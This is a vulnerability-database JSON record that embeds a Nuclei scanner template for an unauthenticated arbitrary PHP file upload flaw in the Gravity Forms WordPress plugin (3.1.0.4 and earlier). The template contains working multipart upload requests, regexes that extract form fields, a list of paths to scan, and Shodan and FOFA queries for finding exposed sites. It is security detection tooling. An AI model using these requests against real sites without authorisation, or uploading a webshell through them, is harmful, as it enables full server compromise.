{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-84434/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-84434/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-84434/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-84434/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-84434/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-84434"},"sightings":{"href":"/api/v1/sightings/cve-2026-84434"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-84434.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-84434\n\ninfo:\n  name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.\n  remediation: |\n    Update Gravity Forms to version 3.1.1 or later.\n  reference:\n    - https://github.com/murrez/CVE-2026-84434\n    - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356\n    - https://docs.gravityforms.com/gravityforms-change-log/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-84434\n    epss-score: 0.0391\n    epss-percentile: 0.90323\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 21\n    vendor: rocketgenius\n    product: gravityforms\n    shodan-query: 'http.html:\"gravityforms\" http.html:\"gform_wrapper\"'\n    fofa-query: 'body=\"gravityforms\" && body=\"gform_wrapper\"'\n  tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev\n\nvariables:\n  marker: \"{{rand_text_alpha(16)}}\"\n  fname: \"{{rand_text_alpha(10)}}\"\n  boundary: \"NucleiUpload{{rand_text_alpha(12)}}\"\n\nflow: |\n  http(\"detect\");\n\n  let scanPaths = [\"/\", \"/contact/\", \"/contact-us/\", \"/get-in-touch/\", \"/support/\",\n                   \"/apply/\", \"/register/\", \"/signup/\", \"/donate/\", \"/quote/\",\n                   \"/request-quote/\", \"/book/\", \"/appointment/\", \"/upload/\"];\n\n  let formFound = false;\n\n  for (let i = 0; i < scanPaths.length; i++) {\n    set(\"scan_path\", scanPaths[i]);\n    http(\"scan\");\n\n    if (template[\"form_id\"] && template[\"hidden_field_input_name\"]) {\n      set(\"found_page_path\", scanPaths[i]);\n      formFound = true;\n      break;\n    }\n    set(\"form_id\", \"\");\n    set(\"hidden_field_input_name\", \"\");\n  }\n\n  if (!formFound) {\n    stop();\n  }\n\n  http(\"submit-page\");\n\n  if (!template[\"upload_file_url\"] && !template[\"upload_rel_url\"] && template[\"gform_ajax_value\"]) {\n    http(\"submit-ajax\");\n  }\n\n  let verifyUrl = template[\"upload_file_url\"] || template[\"upload_rel_url\"] || \"\";\n  if (verifyUrl) {\n    if (!verifyUrl.startsWith(\"http\")) {\n      verifyUrl = \"{{BaseURL}}/\" + verifyUrl;\n    }\n    verifyUrl = verifyUrl.replace(/&amp;/g, \"&\");\n    set(\"verify_url\", verifyUrl);\n    http(\"verify-upload\");\n  }\n\nhttp:\n  - id: detect\n    raw:\n      - |\n        GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - id: scan\n    raw:\n      - |\n        GET {{BaseURL}}{{scan_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"gfield_visibility_hidden\", \"gfield--type-fileupload\", \"gravityforms\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=[\"'']?gform_wrapper_([0-9]+)[\"'']?'\n\n      - type: regex\n        name: hidden_field_input_name\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"''][^>]*type=[\"'']file[\"'']'\n          - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?type=[\"'']file[\"''][^>]*name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"'']'\n\n      - type: regex\n        name: form_unique_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=[\"'']gform_unique_id[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n      - type: regex\n        name: gform_ajax_value\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=[\"'']gform_ajax[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n  - id: submit-page\n    raw:\n      - |\n        POST {{BaseURL}}{{found_page_path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----{{boundary}}\n        Referer: {{BaseURL}}{{found_page_path}}\n        Origin: {{RootURL}}\n\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_submit\"\n\n        {{form_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_unique_id\"\n\n        {{form_unique_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n        0\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n        Content-Type: application/x-php\n\n        {{marker}}\n        ------{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n\n\n    extractors:\n      - type: regex\n        name: upload_file_url\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n      - type: regex\n        name: upload_rel_url\n        part: body\n        internal: true\n        group: 0\n        regex:\n          - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n  - id: submit-ajax\n    raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----{{boundary}}\n        Referer: {{BaseURL}}{{found_page_path}}\n        Origin: {{RootURL}}\n\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"action\"\n\n        gform_ajax\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_ajax\"\n\n        {{gform_ajax_value}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_submit\"\n\n        {{form_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_unique_id\"\n\n        {{form_unique_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n        0\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n        Content-Type: application/x-php\n\n        {{marker}}\n        ------{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: upload_file_url\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n      - type: regex\n        name: upload_rel_url\n        part: body\n        internal: true\n        group: 0\n        regex:\n          - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n  - id: verify-upload\n    raw:\n      - |\n        GET {{verify_url}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{marker}}\")'\n# digest: 490a00463044022040f8392718125daf68065a1beed821feb2881a0cdba9b89116d3c7ce76aea4300220474a6da18385e9f7258c9541ad4ee09c8dcc5d36d251943afb7f88bf1efbe9fb:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-84434"}